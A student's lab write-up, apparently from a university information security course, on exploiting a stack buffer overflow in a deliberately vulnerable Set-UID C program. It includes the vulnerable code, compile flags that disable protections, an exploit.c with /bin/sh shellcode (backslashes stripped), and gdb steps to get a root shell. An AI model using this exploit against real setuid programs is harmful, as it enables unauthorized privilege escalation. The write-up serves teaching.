zoukankan      html  css  js  c++  java
  • 20165221 2018-2019-1《信息安全系统设计基础》第三周学习总结:缓冲区溢出漏洞试验

    实验一:缓冲区溢出漏洞试验

    实验简介:

    注意:

    • 实验中命令在 xfce 终端中输入,前面有 $ 的内容为在终端输入的命令,$ 号不需要输入。命令上有 # 的内容为注释,不需要输入

    适用人群:

    • 有 C 语言基础
    • 会进制转换以及计算
    • vim 基本使用
    • 熟悉基本 linux 命令

    实验基本思路

    缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
    

    实验准备:

    输入命令安装一些用于编译32位C程序的软件包

    $ sudo apt-get update
    
    $ sudo apt-get install -y lib32z1 libc6-dev-i386
    
    $ sudo apt-get install -y lib32readline-gplv2-dev
    
    


    具体操作

    设置zsh程序:

    • 为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash 中实现。

    • linux 系统中,/bin/sh 实际是指向 /bin/bash/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:

    漏洞程序:

    • /tmp 目录下新建一个 stack.c 文件:
    • vi stack.c进入代码编辑:
    /* stack.c */
    
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
        char buffer[12];
    
        /* The following statement has a buffer overflow problem */ 
        strcpy(buffer, str);
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
        badfile = fopen("badfile", "r");//程序会读取一个名为"badfile"的文件
        fread(str, sizeof(char), 517, badfile);//然后将文件的内容放入"buffer"中
        bof(str);
    
        printf("Returned Properly
    ");
        return 1;
    }
    

    通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。

    • 编译该程序,并设置 SET-UID。命令如下:
     sudo su
    
     gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    
     chmod u+s stack
    
     exit 
    
    • 漏洞程序检测通过截图:

    攻击程序

    • /tmp中键入expolit.c,然后vim进入编辑代码:
    /* exploit.c */
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[]=
    
    "x31xc0"    //xorl %eax,%eax
    "x50"        //pushl %eax
    "x68""//sh"  //pushl $0x68732f2f
    "x68""/bin"  //pushl $0x6e69622f
    "x89xe3"    //movl %esp,%ebx
    "x50"        //pushl %eax
    "x53"        //pushl %ebx
    "x89xe1"    //movl %esp,%ecx
    "x99"        //cdq
    "xb0x0b"    //movb $0x0b,%al
    "xcdx80"    //int $0x80
    ;
    
    void main(int argc, char **argv)
    {
    char buffer[517];
    FILE *badfile;
    
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    
    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");//“x??x??x??x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
    
    strcpy(buffer+100,shellcode);//shellcode保存在 buffer+100 的位置
    
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
    }
    
    • 然后 gdb stack进入调试,disass main
    • 设置断点,查找str的地址:
    • 找到了str的地址为oxffffd060,又右移100(十进制),进入exploit.c中,修改地址。

    攻击结果:

    • 先攻击exploit,再攻击stack
    • 键入./exploit,./stack分别进行攻击!
    • 输入whoami检查攻击结果:

    练习

    • 通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack程序,观察能否攻击成功,能否获得root权限
    • 运行截图:
  • 相关阅读:
    10055
    国外程序员推荐:每个程序员都应该读的非编程书
    Volume 0. Getting Started
    如何成为一名 Google 软件工程师?【Google招聘信息】作者: 丁鑫哲
    毕设-家校通
    如何快速创建数据库连接字符串
    LeetCode day13
    LeetCode day12
    LeetCode day11
    LeetCode day10 Called it
  • 原文地址:https://www.cnblogs.com/0630tx/p/9757300.html
Copyright © 2011-2022 走看看